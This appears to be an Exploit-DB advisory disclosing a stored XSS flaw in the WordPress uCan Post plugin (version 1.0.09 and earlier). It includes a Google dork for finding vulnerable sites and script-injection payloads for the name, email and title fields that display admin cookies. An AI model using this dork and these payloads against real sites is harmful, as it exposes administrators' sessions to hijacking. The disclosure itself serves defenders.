wordpress ucan post plugin <= 1.0.09 - Stored XSS



EDB-ID: 18390 CVE: N/A OSVDB-ID: 78447
Author: Gianluca Brindisi Published: 2012-01-19 Verified: Verified
Exploit Code:   Download Vulnerable App:    Download

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# Exploit Title: Wordpress uCan Post plugin <= 1.0.09 Stored XSS
# Dork: inurl:/wp-content/plugins/ucan-post/
# Date: 2012/01/18 
# Author: Gianluca Brindisi (gATbrindi.si @gbrindisi http://brindi.si/g/)
# Software Link: http://downloads.wordpress.org/plugin/ucan-post.1.0.09.zip
# Version: 1.0.09

1)  You need permissions to publish a post from the public interface:

    The submission form is not well sanitized and will result in stored xss
    in admin pages:

    * Name field is not sanitized and it's injectable with a payload 
      which will be stored in the pending submission page in admin panel
      POC: myname'"><script>window.alert(document.cookie)</script>

    * Email field is not sanitized but can it will check for a valid email address
      so the maximum result will be a reflected xss
      POC: my@mail.com'"><script>window.alert(document.cookie)</script>

    * Post Title is not sanitized and it's injectable with a payload
      which will be stored in the pending submissions page in admin panel
      POC: title'"><script>window.alert(document.cookie)</script>